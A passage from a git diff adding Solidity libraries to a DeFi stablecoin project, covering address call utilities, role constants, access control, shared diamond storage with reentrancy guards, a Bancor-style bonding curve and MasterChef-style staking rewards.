amount}(""); + if (!success) revert AddressUtils__SendValueFailed(); + } + + /** + * @notice Calls `target` with `data` + * @param target Target address + * @param data Data to pass + * @return Response bytes + */ + function functionCall( + address target, + bytes memory data + ) internal returns (bytes memory) { + return + functionCall(target, data, "AddressUtils: failed low-level call"); + } + + /** + * @notice Calls `target` with `data` + * @param target Target address + * @param data Data to pass + * @param error Text error + * @return Response bytes + */ + function functionCall( + address target, + bytes memory data, + string memory error + ) internal returns (bytes memory) { + return _functionCallWithValue(target, data, 0, error); + } + + /** + * @notice Calls `target` with `data` + * @param target Target address + * @param data Data to pass + * @param value Amount of ETH to send + * @return Response bytes + */ + function functionCallWithValue( + address target, + bytes memory data, + uint256 value + ) internal returns (bytes memory) { + return + functionCallWithValue( + target, + data, + value, + "AddressUtils: failed low-level call with value" + ); + } + + /** + * @notice Calls `target` with `data` + * @param target Target address + * @param data Data to pass + * @param value Amount of ETH to send + * @param error Text error + * @return Response bytes + */ + function functionCallWithValue( + address target, + bytes memory data, + uint256 value, + string memory error + ) internal returns (bytes memory) { + if (value > address(this).balance) { + revert AddressUtils__InsufficientBalance(); + } + return _functionCallWithValue(target, data, value, error); + } + + /** + * @notice Calls `target` with `data` + * @param target Target address + * @param data Data to pass + * @param value Amount of ETH to send + * @param error Text error + * @return Response bytes + */ + function _functionCallWithValue( + address target, + bytes memory data, + uint256 value, + string memory error + ) private returns (bytes memory) { + if (!isContract(target)) revert AddressUtils__NotContract(); + + (bool success, bytes memory returnData) = target.call{value: value}( + data + ); + + if (success) { + return returnData; + } else if (returnData.length > 0) { + assembly { + let returnData_size := mload(returnData) + revert(add(32, returnData), returnData_size) + } + } else { + revert(error); + } + } +} diff --git a/packages/contracts/src/dollar/libraries/Constants.sol b/packages/contracts/src/dollar/libraries/Constants.sol new file mode 100644 index 000000000..006e1e9c4 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/Constants.sol @@ -0,0 +1,91 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "abdk/ABDKMathQuad.sol"; + +/// @dev Default admin role name +bytes32 constant DEFAULT_ADMIN_ROLE = 0x00; + +/// @dev Role name for Governance tokens minter +bytes32 constant GOVERNANCE_TOKEN_MINTER_ROLE = keccak256( + "GOVERNANCE_TOKEN_MINTER_ROLE" +); + +/// @dev Role name for Governance tokens burner +bytes32 constant GOVERNANCE_TOKEN_BURNER_ROLE = keccak256( + "GOVERNANCE_TOKEN_BURNER_ROLE" +); + +/// @dev Role name for staking share minter +bytes32 constant STAKING_SHARE_MINTER_ROLE = keccak256( + "STAKING_SHARE_MINTER_ROLE" +); + +/// @dev Role name for staking share burner +bytes32 constant STAKING_SHARE_BURNER_ROLE = keccak256( + "STAKING_SHARE_BURNER_ROLE" +); + +/// @dev Role name for Credit tokens minter +bytes32 constant CREDIT_TOKEN_MINTER_ROLE = keccak256( + "CREDIT_TOKEN_MINTER_ROLE" +); + +/// @dev Role name for Credit tokens burner +bytes32 constant CREDIT_TOKEN_BURNER_ROLE = keccak256( + "CREDIT_TOKEN_BURNER_ROLE" +); + +/// @dev Role name for Dollar tokens minter +bytes32 constant DOLLAR_TOKEN_MINTER_ROLE = keccak256( + "DOLLAR_TOKEN_MINTER_ROLE" +); + +/// @dev Role name for Dollar tokens burner +bytes32 constant DOLLAR_TOKEN_BURNER_ROLE = keccak256( + "DOLLAR_TOKEN_BURNER_ROLE" +); + +/// @dev Role name for Dollar manager +bytes32 constant CURVE_DOLLAR_MANAGER_ROLE = keccak256( + "CURVE_DOLLAR_MANAGER_ROLE" +); + +/// @dev Role name for pauser +bytes32 constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); + +/// @dev Role name for Credit NFT manager +bytes32 constant CREDIT_NFT_MANAGER_ROLE = keccak256("CREDIT_NFT_MANAGER_ROLE"); + +/// @dev Role name for Staking manager +bytes32 constant STAKING_MANAGER_ROLE = keccak256("STAKING_MANAGER_ROLE"); + +/// @dev Role name for inventive manager +bytes32 constant INCENTIVE_MANAGER_ROLE = keccak256("INCENTIVE_MANAGER"); + +/// @dev Role name for Governance token manager +bytes32 constant GOVERNANCE_TOKEN_MANAGER_ROLE = keccak256( + "GOVERNANCE_TOKEN_MANAGER_ROLE" +); + +/// @dev ETH pseudo address used to distinguish ERC20 tokens and ETH in `LibCollectableDust.sendDust()` +address constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; + +/// @dev 1 ETH +uint256 constant ONE = uint256(1 ether); // 3Crv has 18 decimals + +/// @dev Accuracy used in `LibBondingCurve` +uint256 constant ACCURACY = 10e18; +/// @dev Max connector weight used in `LibBondingCurve` +uint32 constant MAX_WEIGHT = 1e6; + +/// @dev keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); +bytes32 constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; + +/// @dev Reentrancy constant +uint256 constant _NOT_ENTERED = 1; +/// @dev Reentrancy constant +uint256 constant _ENTERED = 2; + +/// @dev Ubiquity pool price precision +uint256 constant UBIQUITY_POOL_PRICE_PRECISION = 1e6; diff --git a/packages/contracts/src/dollar/libraries/LibAccessControl.sol b/packages/contracts/src/dollar/libraries/LibAccessControl.sol new file mode 100644 index 000000000..5c9ae9872 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibAccessControl.sol @@ -0,0 +1,185 @@ +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.19; + +import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; +import {AddressUtils} from "../libraries/AddressUtils.sol"; +import {UintUtils} from "../libraries/UintUtils.sol"; +import {LibAppStorage} from "./LibAppStorage.sol"; + +/// @notice Access control library +library LibAccessControl { + using AddressUtils for address; + using EnumerableSet for EnumerableSet.AddressSet; + using UintUtils for uint256; + + /// @notice Storage slot used to store data for this library + bytes32 constant ACCESS_CONTROL_STORAGE_SLOT = + bytes32( + uint256(keccak256("ubiquity.contracts.access.control.storage")) - 1 + ) & ~bytes32(uint256(0xff)); + + /// @notice Structure to keep all role members with their admin role + struct RoleData { + EnumerableSet.AddressSet members; + bytes32 adminRole; + } + + /// @notice Structure to keep all protocol roles + struct Layout { + mapping(bytes32 => RoleData) roles; + } + + /// @notice Emitted when admin role of a role is updated + event RoleAdminChanged( + bytes32 indexed role, + bytes32 indexed previousAdminRole, + bytes32 indexed newAdminRole + ); + + /// @notice Emitted when role is granted to account + event RoleGranted( + bytes32 indexed role, + address indexed account, + address indexed sender + ); + + /// @notice Emitted when role is revoked from account + event RoleRevoked( + bytes32 indexed role, + address indexed account, + address indexed sender + ); + + /// @notice Emitted when the pause is triggered by `account` + event Paused(address account); + + /// @notice Emitted when the pause is lifted by `account` + event Unpaused(address account); + + /** + * @notice Returns struct used as a storage for this library + * @return l Struct used as a storage + */ + function accessControlStorage() internal pure returns (Layout storage l) { + bytes32 slot = ACCESS_CONTROL_STORAGE_SLOT; + assembly { + l.slot := slot + } + } + + /** + * @notice Checks that a method can only be called by the provided role + * @param role Role name + */ + modifier onlyRole(bytes32 role) { + checkRole(role); + _; + } + + /// @notice Returns true if the contract is paused and false otherwise + function paused() internal view returns (bool) { + return LibAppStorage.appStorage().paused; + } + + /** + * @notice Checks whether role is assigned to account + * @param role Role to check + * @param account Address to check + * @return Whether role is assigned to account + */ + function hasRole( + bytes32 role, + address account + ) internal view returns (bool) { + return accessControlStorage().roles[role].members.contains(account); + } + + /** + * @notice Reverts if sender does not have a given role + * @param role Role to query + */ + function checkRole(bytes32 role) internal view { + checkRole(role, msg.sender); + } + + /** + * @notice Reverts if given account does not have a given role + * @param role Role to query + * @param account Address to query + */ + function checkRole(bytes32 role, address account) internal view { + if (!hasRole(role, account)) { + revert( + string( + abi.encodePacked( + "AccessControl: account ", + account.toString(), + " is missing role ", + uint256(role).toHexString(32) + ) + ) + ); + } + } + + /** + * @notice Returns admin role for a given role + * @param role Role to query + * @return Admin role for a provided role + */ + function getRoleAdmin(bytes32 role) internal view returns (bytes32) { + return accessControlStorage().roles[role].adminRole; + } + + /** + * @notice Sets a new admin role for a provided role + * @param role Role for which admin role should be set + * @param adminRole Admin role to set + */ + function setRoleAdmin(bytes32 role, bytes32 adminRole) internal { + bytes32 previousAdminRole = getRoleAdmin(role); + accessControlStorage().roles[role].adminRole = adminRole; + emit RoleAdminChanged(role, previousAdminRole, adminRole); + } + + /** + * @notice Assigns role to a given account + * @param role Role to assign + * @param account Recipient of role assignment + */ + function grantRole(bytes32 role, address account) internal { + accessControlStorage().roles[role].members.add(account); + emit RoleGranted(role, account, msg.sender); + } + + /** + * @notice Unassign role from a given account + * @param role Role to unassign + * @param account Address from which the provided role should be unassigned + */ + function revokeRole(bytes32 role, address account) internal { + accessControlStorage().roles[role].members.remove(account); + emit RoleRevoked(role, account, msg.sender); + } + + /** + * @notice Renounces role + * @param role Role to renounce + */ + function renounceRole(bytes32 role) internal { + revokeRole(role, msg.sender); + } + + /// @notice Pauses the contract + function pause() internal { + LibAppStorage.appStorage().paused = true; + emit Paused(msg.sender); + } + + /// @notice Unpauses the contract + function unpause() internal { + LibAppStorage.appStorage().paused = false; + emit Unpaused(msg.sender); + } +} diff --git a/packages/contracts/src/dollar/libraries/LibAppStorage.sol b/packages/contracts/src/dollar/libraries/LibAppStorage.sol new file mode 100644 index 000000000..e7b94dd4d --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibAppStorage.sol @@ -0,0 +1,185 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {LibDiamond} from "./LibDiamond.sol"; +import {LibAccessControl} from "./LibAccessControl.sol"; +import "./Constants.sol"; + +/// @notice Shared struct used as a storage in the `LibAppStorage` library +struct AppStorage { + // reentrancy guard + uint256 reentrancyStatus; + // others + address dollarTokenAddress; + address creditNftAddress; + address creditNftCalculatorAddress; + address dollarMintCalculatorAddress; + address stakingShareAddress; + address stakingContractAddress; + address stableSwapMetaPoolAddress; + address stableSwapPlainPoolAddress; + address curve3PoolTokenAddress; // 3CRV + address treasuryAddress; + address governanceTokenAddress; + address sushiSwapPoolAddress; // sushi pool UbiquityDollar-GovernanceToken + address masterChefAddress; + address formulasAddress; + address creditTokenAddress; + address creditCalculatorAddress; + address ubiquiStickAddress; + address bondingCurveAddress; + address bancorFormulaAddress; + address curveDollarIncentiveAddress; + mapping(address => address) _excessDollarDistributors; + // pausable + bool paused; +} + +/// @notice Library used as a shared storage among all protocol libraries +library LibAppStorage { + /** + * @notice Returns `AppStorage` struct used as a shared storage among all libraries + * @return ds `AppStorage` struct used as a shared storage + */ + function appStorage() internal pure returns (AppStorage storage ds) { + assembly { + ds.slot := 0 + } + } +} + +/// @notice Contract includes modifiers shared across all protocol's contracts +contract Modifiers { + /// @notice Shared struct used as a storage across all protocol's contracts + AppStorage internal store; + + /** + * @notice Prevents a contract from calling itself, directly or indirectly. + * Calling a `nonReentrant` function from another `nonReentrant` + * function is not supported. It is possible to prevent this from happening + * by making the `nonReentrant` function external, and making it call a + * `private` function that does the actual work. + * + * @dev Works identically to OZ's nonReentrant. + * @dev Used to avoid state storage collision within diamond. + */ + modifier nonReentrant() { + // On the first call to nonReentrant, _notEntered will be true + require( + store.reentrancyStatus != _ENTERED, + "ReentrancyGuard: reentrant call" + ); + + // Any calls to nonReentrant after this point will fail + store.reentrancyStatus = _ENTERED; + _; + + // By storing the original value once again, a refund is triggered (see + // https://eips.ethereum.org/EIPS/eip-2200) + store.reentrancyStatus = _NOT_ENTERED; + } + + /// @notice Checks that method is called by a contract owner + modifier onlyOwner() { + LibDiamond.enforceIsContractOwner(); + _; + } + + /// @notice Checks that method is called by address with the `CREDIT_NFT_MANAGER_ROLE` role + modifier onlyCreditNftManager() { + require( + LibAccessControl.hasRole(CREDIT_NFT_MANAGER_ROLE, msg.sender), + "Caller is not a Credit NFT manager" + ); + _; + } + + /// @notice Checks that method is called by address with the `DEFAULT_ADMIN_ROLE` role + modifier onlyAdmin() { + require( + LibAccessControl.hasRole(DEFAULT_ADMIN_ROLE, msg.sender), + "Manager: Caller is not admin" + ); + _; + } + + /// @notice Checks that method is called by address with the `GOVERNANCE_TOKEN_MINTER_ROLE` role + modifier onlyMinter() { + require( + LibAccessControl.hasRole(GOVERNANCE_TOKEN_MINTER_ROLE, msg.sender), + "Governance token: not minter" + ); + _; + } + + /// @notice Checks that method is called by address with the `GOVERNANCE_TOKEN_BURNER_ROLE` role + modifier onlyBurner() { + require( + LibAccessControl.hasRole(GOVERNANCE_TOKEN_BURNER_ROLE, msg.sender), + "Governance token: not burner" + ); + _; + } + + /// @notice Modifier to make a function callable only when the contract is not paused + modifier whenNotPaused() { + require(!LibAccessControl.paused(), "Pausable: paused"); + _; + } + + /// @notice Modifier to make a function callable only when the contract is paused + modifier whenPaused() { + require(LibAccessControl.paused(), "Pausable: not paused"); + _; + } + + /// @notice Checks that method is called by address with the `STAKING_MANAGER_ROLE` role + modifier onlyStakingManager() { + require( + LibAccessControl.hasRole(STAKING_MANAGER_ROLE, msg.sender), + "not manager" + ); + _; + } + + /// @notice Checks that method is called by address with the `PAUSER_ROLE` role + modifier onlyPauser() { + require( + LibAccessControl.hasRole(PAUSER_ROLE, msg.sender), + "not pauser" + ); + _; + } + + /// @notice Checks that method is called by address with the `GOVERNANCE_TOKEN_MANAGER_ROLE` role + modifier onlyTokenManager() { + require( + LibAccessControl.hasRole(GOVERNANCE_TOKEN_MANAGER_ROLE, msg.sender), + "MasterChef: not Governance Token manager" + ); + _; + } + + /// @notice Checks that method is called by address with the `INCENTIVE_MANAGER_ROLE` role + modifier onlyIncentiveAdmin() { + require( + LibAccessControl.hasRole(INCENTIVE_MANAGER_ROLE, msg.sender), + "CreditCalc: not admin" + ); + _; + } + + /// @notice Checks that method is called by address with the `CURVE_DOLLAR_MANAGER_ROLE` role + modifier onlyDollarManager() { + require( + LibAccessControl.hasRole(CURVE_DOLLAR_MANAGER_ROLE, msg.sender), + "CurveIncentive: Caller is not Ubiquity Dollar" + ); + _; + } + + /// @notice Initializes reentrancy guard on contract deployment + function _initReentrancyGuard() internal { + store.reentrancyStatus = _NOT_ENTERED; + } +} diff --git a/packages/contracts/src/dollar/libraries/LibBondingCurve.sol b/packages/contracts/src/dollar/libraries/LibBondingCurve.sol new file mode 100644 index 000000000..9bbf1355a --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibBondingCurve.sol @@ -0,0 +1,288 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import "@openzeppelin/contracts/utils/math/SafeMath.sol"; +import {LibAppStorage} from "./LibAppStorage.sol"; +import {UbiquiStick} from "../../ubiquistick/UbiquiStick.sol"; +import "../../ubiquistick/interfaces/IUbiquiStick.sol"; +import "../interfaces/IERC1155Ubiquity.sol"; +import "./Constants.sol"; +import "abdk/ABDKMathQuad.sol"; + +/** + * @notice Bonding curve library based on Bancor formula + * @notice Inspired from Bancor protocol https://github.com/bancorprotocol/contracts + * @notice Used on UbiquiStick NFT minting + */ +library LibBondingCurve { + using SafeERC20 for IERC20; + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + /// @notice Storage slot used to store data for this library + bytes32 constant BONDING_CONTROL_STORAGE_SLOT = + bytes32(uint256(keccak256("ubiquity.contracts.bonding.storage")) - 1) & + ~bytes32(uint256(0xff)); + + /// @notice Emitted when collateral is deposited + event Deposit(address indexed user, uint256 amount); + + /// @notice Emitted when collateral is withdrawn + event Withdraw(uint256 amount); + + /// @notice Emitted when parameters are updated + event ParamsSet(uint32 connectorWeight, uint256 baseY); + + /// @notice Struct used as a storage for the current library + struct BondingCurveData { + uint32 connectorWeight; + uint256 baseY; + uint256 poolBalance; + uint256 tokenIds; + mapping(address => uint256) share; + } + + /** + * @notice Returns struct used as a storage for this library + * @return l Struct used as a storage + */ + function bondingCurveStorage() + internal + pure + returns (BondingCurveData storage l) + { + bytes32 slot = BONDING_CONTROL_STORAGE_SLOT; + assembly { + l.slot := slot + } + } + + /** + * @notice Sets bonding curve params + * @param _connectorWeight Connector weight + * @param _baseY Base Y + */ + function setParams(uint32 _connectorWeight, uint256 _baseY) internal { + require( + _connectorWeight > 0 && _connectorWeight <= 1000000, + "invalid values" + ); + require(_baseY > 0, "must valid baseY"); + + bondingCurveStorage().connectorWeight = _connectorWeight; + bondingCurveStorage().baseY = _baseY; + emit ParamsSet(_connectorWeight, _baseY); + } + + /** + * @notice Returns `connectorWeight` value + * @return Connector weight value + */ + function connectorWeight() internal view returns (uint32) { + return bondingCurveStorage().connectorWeight; + } + + /** + * @notice Returns `baseY` value + * @return Base Y value + */ + function baseY() internal view returns (uint256) { + return bondingCurveStorage().baseY; + } + + /** + * @notice Returns total balance of deposited collateral + * @return Amount of deposited collateral + */ + function poolBalance() internal view returns (uint256) { + return bondingCurveStorage().poolBalance; + } + + /** + * @notice Deposits collateral tokens in exchange for UbiquiStick NFT + * @param _collateralDeposited Amount of collateral + * @param _recipient Address to receive the NFT + */ + function deposit( + uint256 _collateralDeposited, + address _recipient + ) internal { + BondingCurveData storage ss = bondingCurveStorage(); + require(ss.connectorWeight != 0 && ss.baseY != 0, "not set"); + + uint256 tokensReturned; + + if (ss.tokenIds > 0) { + tokensReturned = purchaseTargetAmount( + _collateralDeposited, + ss.connectorWeight, + ss.tokenIds, + ss.poolBalance + ); + } else { + tokensReturned = purchaseTargetAmountFromZero( + _collateralDeposited, + ss.connectorWeight, + ACCURACY, + ss.baseY + ); + } + + IERC20 dollar = IERC20(LibAppStorage.appStorage().dollarTokenAddress); + dollar.transferFrom(msg.sender, address(this), _collateralDeposited); + + ss.poolBalance = ss.poolBalance + _collateralDeposited; + ss.share[_recipient] += tokensReturned; + ss.tokenIds += 1; + + UbiquiStick ubiquiStick = UbiquiStick( + LibAppStorage.appStorage().ubiquiStickAddress + ); + ubiquiStick.batchSafeMint(_recipient, tokensReturned); + + emit Deposit(_recipient, _collateralDeposited); + } + + /** + * @notice Returns number of NFTs a `_recipient` holds + * @param _recipient User address + * @return Amount of NFTs for `_recipient` + */ + function getShare(address _recipient) internal view returns (uint256) { + BondingCurveData storage ss = bondingCurveStorage(); + return ss.share[_recipient]; + } + + /** + * @notice Converts `x` to `bytes` + * @param x Value to convert to `bytes` + * @return b `x` value converted to `bytes` + */ + function toBytes(uint256 x) internal pure returns (bytes memory b) { + b = new bytes(32); + assembly { + mstore(add(b, 32), x) + } + } + + /** + * @notice Withdraws collateral tokens to treasury + * @param _amount Amount of collateral tokens to withdraw + */ + function withdraw(uint256 _amount) internal { + BondingCurveData storage ss = bondingCurveStorage(); + require(_amount <= ss.poolBalance, "invalid amount"); + + IERC20 dollar = IERC20(LibAppStorage.appStorage().dollarTokenAddress); + uint256 toTransfer = _amount; + dollar.safeTransfer( + LibAppStorage.appStorage().treasuryAddress, + toTransfer + ); + + ss.poolBalance -= _amount; + + emit Withdraw(_amount); + } + + /** + * @notice Given a token supply, reserve balance, weight and a deposit amount (in the reserve token), + * calculates the target amount for a given conversion (in the main token) + * + * @notice `_supply * ((1 + _tokensDeposited / _connectorBalance) ^ (_connectorWeight / 1000000) - 1)` + * + * @param _tokensDeposited Amount of collateral tokens to deposit + * @param _connectorWeight Connector weight, represented in ppm, 1 - 1,000,000 + * @param _supply Current token supply + * @param _connectorBalance Total connector balance + * @return Amount of tokens minted + */ + function purchaseTargetAmount( + uint256 _tokensDeposited, + uint32 _connectorWeight, + uint256 _supply, + uint256 _connectorBalance + ) internal pure returns (uint256) { + // validate input + require(_connectorBalance > 0, "ERR_INVALID_SUPPLY"); + require( + _connectorWeight > 0 && _connectorWeight <= MAX_WEIGHT, + "ERR_INVALID_WEIGHT" + ); + + // special case for 0 deposit amount + if (_tokensDeposited == 0) { + return 0; + } + // special case if the weight = 100% + if (_connectorWeight == MAX_WEIGHT) { + return (_supply * _tokensDeposited) / _connectorBalance; + } + + bytes16 _one = uintToBytes16(ONE); + + bytes16 exponent = uint256(_connectorWeight).fromUInt().div( + uint256(MAX_WEIGHT).fromUInt() + ); + + bytes16 connBal = _connectorBalance.fromUInt(); + bytes16 temp = _one.add(_tokensDeposited.fromUInt().div(connBal)); + //Instead of calculating "base ^ exp", we calculate "e ^ (log(base) * exp)". + bytes16 result = _supply.fromUInt().mul( + (temp.ln().mul(exponent)).exp().sub(_one) + ); + return result.toUInt(); + } + + /** + * @notice Given a deposit (in the collateral token) token supply of 0, calculates the return + * for a given conversion (in the token) + * + * @notice `_supply * ((1 + _tokensDeposited / _connectorBalance) ^ (_connectorWeight / 1000000) - 1)` + * + * @param _tokensDeposited Amount of collateral tokens to deposit + * @param _connectorWeight Connector weight, represented in ppm, 1 - 1,000,000 + * @param _baseX Constant x + * @param _baseY Expected price + * @return Amount of tokens minted + */ + function purchaseTargetAmountFromZero( + uint256 _tokensDeposited, + uint256 _connectorWeight, + uint256 _baseX, + uint256 _baseY + ) internal pure returns (uint256) { + // (MAX_WEIGHT/reserveWeight -1) + bytes16 _one = uintToBytes16(ONE); + + bytes16 exponent = uint256(MAX_WEIGHT) + .fromUInt() + .div(_connectorWeight.fromUInt()) + .sub(_one); + + // Instead of calculating "x ^ exp", we calculate "e ^ (log(x) * exp)". + // _baseY ^ (MAX_WEIGHT/reserveWeight -1) + bytes16 denominator = (_baseY.fromUInt().ln().mul(exponent)).exp(); + + // ( baseX * tokensDeposited ^ (MAX_WEIGHT/reserveWeight -1) ) / _baseY ^ (MAX_WEIGHT/reserveWeight -1) + bytes16 res = _tokensDeposited.fromUInt().ln().mul(exponent).exp(); + bytes16 result = _baseX.fromUInt().mul(res).div(denominator); + + return result.toUInt(); + } + + /** + * @notice Converts `x` to `bytes16` + * @param x Value to convert to `bytes16` + * @return b `x` value converted to `bytes16` + */ + function uintToBytes16(uint256 x) internal pure returns (bytes16 b) { + require( + x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF, + "Value too large for bytes16" + ); + b = bytes16(abi.encodePacked(x)); + } +} diff --git a/packages/contracts/src/dollar/libraries/LibChef.sol b/packages/contracts/src/dollar/libraries/LibChef.sol new file mode 100644 index 000000000..ca08998c0 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibChef.sol @@ -0,0 +1,416 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import "../../dollar/interfaces/IERC20Ubiquity.sol"; +import "../../dollar/interfaces/IUbiquityFormulas.sol"; +import "../../dollar/interfaces/IERC1155Ubiquity.sol"; +import {ICurveStableSwapMetaNG} from "../interfaces/ICurveStableSwapMetaNG.sol"; +import "./LibAppStorage.sol"; +import {LibStakingFormulas} from "./LibStakingFormulas.sol"; + +/** + * @notice Library for staking Dollar-3CRV LP tokens for Governance tokens reward + */ +library LibChef { + using SafeERC20 for IERC20Ubiquity; + using SafeERC20 for IERC20; + + /// @notice User's staking share info + struct StakingShareInfo { + uint256 amount; // staking rights. + uint256 rewardDebt; // Reward debt. See explanation below. + // + // We do some fancy math here. Basically, any point in time, the amount of Governance Tokens + // entitled to a user but is pending to be distributed is: + // + // pending reward = (user.amount * pool.accGovernancePerShare) - user.rewardDebt + // + // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: + // 1. The pool's `accGovernancePerShare` (and `lastRewardBlock`) gets updated. + // 2. User receives the pending reward sent to his/her address. + // 3. User's `amount` gets updated. + // 4. User's `rewardDebt` gets updated. + } + + /// @notice Pool info + struct PoolInfo { + uint256 lastRewardBlock; // Last block number that Governance Token distribution occurs. + uint256 accGovernancePerShare; // Accumulated Governance Tokens per share, times 1e12. See below. + } + + /// @notice Struct used as a storage for the current library + struct ChefStorage { + // Governance Tokens created per block. + uint256 governancePerBlock; + // Bonus multiplier for early Governance Token makers. + uint256 governanceMultiplier; + uint256 minPriceDiffToUpdateMultiplier; + uint256 lastPrice; + uint256 governanceDivider; + // Info of each pool. + PoolInfo pool; + // Info of each user that stakes LP tokens. + mapping(uint256 => StakingShareInfo) ssInfo; + uint256 totalShares; + } + + /// @notice Storage slot used to store data for this library + bytes32 constant UBIQUITY_CHEF_STORAGE_POSITION = + bytes32( + uint256(keccak256("diamond.standard.ubiquity.chef.storage")) - 1 + ) & ~bytes32(uint256(0xff)); + + /** + * @notice Returns struct used as a storage for this library + * @return ds Struct used as a storage + */ + function chefStorage() internal pure returns (ChefStorage storage ds) { + bytes32 position = UBIQUITY_CHEF_STORAGE_POSITION; + assembly { + ds.slot := position + } + } + + /// @notice Emitted when Dollar-3CRV LP tokens are deposited to the contract + event Deposit( + address indexed user, + uint256 amount, + uint256 indexed stakingShareId + ); + + /// @notice Emitted when Dollar-3CRV LP tokens are withdrawn from the contract + event Withdraw( + address indexed user, + uint256 amount, + uint256 indexed stakingShareId + ); + + /// @notice Emitted when amount of Governance tokens minted per block is updated + event GovernancePerBlockModified(uint256 indexed governancePerBlock); + + /// @notice Emitted when min Dollar price diff for governance multiplier change is updated + event MinPriceDiffToUpdateMultiplierModified( + uint256 indexed minPriceDiffToUpdateMultiplier + ); + + /** + * @notice Initializes staking + * @param _tos Array of addresses for initial deposits + * @param _amounts Array of LP amounts for initial deposits + * @param _stakingShareIDs Array of staking share IDs for initial deposits + * @param _governancePerBlock Amount of Governance tokens minted each block + */ + function initialize( + address[] memory _tos, + uint256[] memory _amounts, + uint256[] memory _stakingShareIDs, + uint256 _governancePerBlock + ) internal { + ChefStorage storage cs = chefStorage(); + cs.pool.lastRewardBlock = block.number; + cs.pool.accGovernancePerShare = 0; // uint256(1e12); + cs.governanceDivider = 5; // 100 / 5 = 20% extra minted Governance Tokens for treasury + cs.minPriceDiffToUpdateMultiplier = 1e15; + cs.lastPrice = 1e18; + cs.governanceMultiplier = 1e18; + cs.governancePerBlock = _governancePerBlock; + uint256 lgt = _tos.length; + require(lgt == _amounts.length, "_amounts array not same length"); + require( + lgt == _stakingShareIDs.length, + "_stakingShareIDs array not same length" + ); + + for (uint256 i = 0; i < lgt; ++i) { + deposit(_tos[i], _amounts[i], _stakingShareIDs[i]); + } + } + + /** + * @notice Sets amount of Governance tokens minted each block + * @param _governancePerBlock Amount of Governance tokens minted each block + */ + function setGovernancePerBlock(uint256 _governancePerBlock) internal { + chefStorage().governancePerBlock = _governancePerBlock; + emit GovernancePerBlockModified(_governancePerBlock); + } + + /** + * @notice Returns amount of Governance tokens minted each block + * @return Amount of Governance tokens minted each block + */ + function governancePerBlock() internal view returns (uint256) { + return chefStorage().governancePerBlock; + } + + /** + * @notice Returns governance divider param + * @notice Example: if `_governanceDivider = 5` then `100 / 5 = 20%` extra minted Governance tokens for treasury + * @return Governance divider param value + */ + function governanceDivider() internal view returns (uint256) { + return chefStorage().governanceDivider; + } + + /** + * @notice Returns pool info + * @return Pool info: + * - last block number when Governance tokens distribution occurred + * - Governance tokens per share, times 1e12 + */ + function pool() internal view returns (PoolInfo memory) { + return chefStorage().pool; + } + + /** + * @notice Returns min price difference between the old and the new Dollar prices + * required to update the governance multiplier + * @return Min Dollar price diff to update the governance multiplier + */ + function minPriceDiffToUpdateMultiplier() internal view returns (uint256) { + return chefStorage().minPriceDiffToUpdateMultiplier; + } + + /** + * @notice Sets Governance token divider param. The bigger `_governanceDivider` the less extra + * Governance tokens will be minted for the treasury. + * @notice Example: if `_governanceDivider = 5` then `100 / 5 = 20%` extra minted Governance tokens for treasury + * @param _governanceDivider Governance divider param value + */ + function setGovernanceShareForTreasury( + uint256 _governanceDivider + ) internal { + chefStorage().governanceDivider = _governanceDivider; + } + + /** + * @notice Sets min price difference between the old and the new Dollar prices + * @param _minPriceDiffToUpdateMultiplier Min price diff to update governance multiplier + */ + function setMinPriceDiffToUpdateMultiplier( + uint256 _minPriceDiffToUpdateMultiplier + ) internal { + chefStorage() + .minPriceDiffToUpdateMultiplier = _minPriceDiffToUpdateMultiplier; + emit MinPriceDiffToUpdateMultiplierModified( + _minPriceDiffToUpdateMultiplier + ); + } + + /** + * @notice Withdraws Dollar-3CRV LP tokens from staking + * @param to Address where to transfer pending Governance token rewards + * @param _amount Amount of LP tokens to withdraw + * @param _stakingShareID Staking share id + */ + function withdraw( + address to, + uint256 _amount, + uint256 _stakingShareID + ) internal { + ChefStorage storage cs = chefStorage(); + StakingShareInfo storage ss = cs.ssInfo[_stakingShareID]; + require(ss.amount >= _amount, "MC: amount too high"); + _updatePool(); + uint256 pending = ((ss.amount * cs.pool.accGovernancePerShare) / 1e12) - + ss.rewardDebt; + // send Governance Tokens to Staking Share holder + _safeGovernanceTransfer(to, pending); + ss.amount -= _amount; + ss.rewardDebt = (ss.amount * cs.pool.accGovernancePerShare) / 1e12; + cs.totalShares -= _amount; + emit Withdraw(to, _amount, _stakingShareID); + } + + /** + * @notice Withdraws pending Governance token rewards + * @param stakingShareID Staking share id + * @return Reward amount transferred to `msg.sender` + */ + function getRewards(uint256 stakingShareID) internal returns (uint256) { + require( + IERC1155Ubiquity(LibAppStorage.appStorage().stakingShareAddress) + .balanceOf(msg.sender, stakingShareID) == 1, + "MS: caller is not owner" + ); + + // calculate user reward + ChefStorage storage cs = chefStorage(); + StakingShareInfo storage user = cs.ssInfo[stakingShareID]; + _updatePool(); + uint256 pending = ((user.amount * cs.pool.accGovernancePerShare) / + 1e12) - user.rewardDebt; + _safeGovernanceTransfer(msg.sender, pending); + user.rewardDebt = (user.amount * cs.pool.accGovernancePerShare) / 1e12; + return pending; + } + + /** + * @notice Returns staking share info + * @param _id Staking share id + * @return Array of amount of shares and 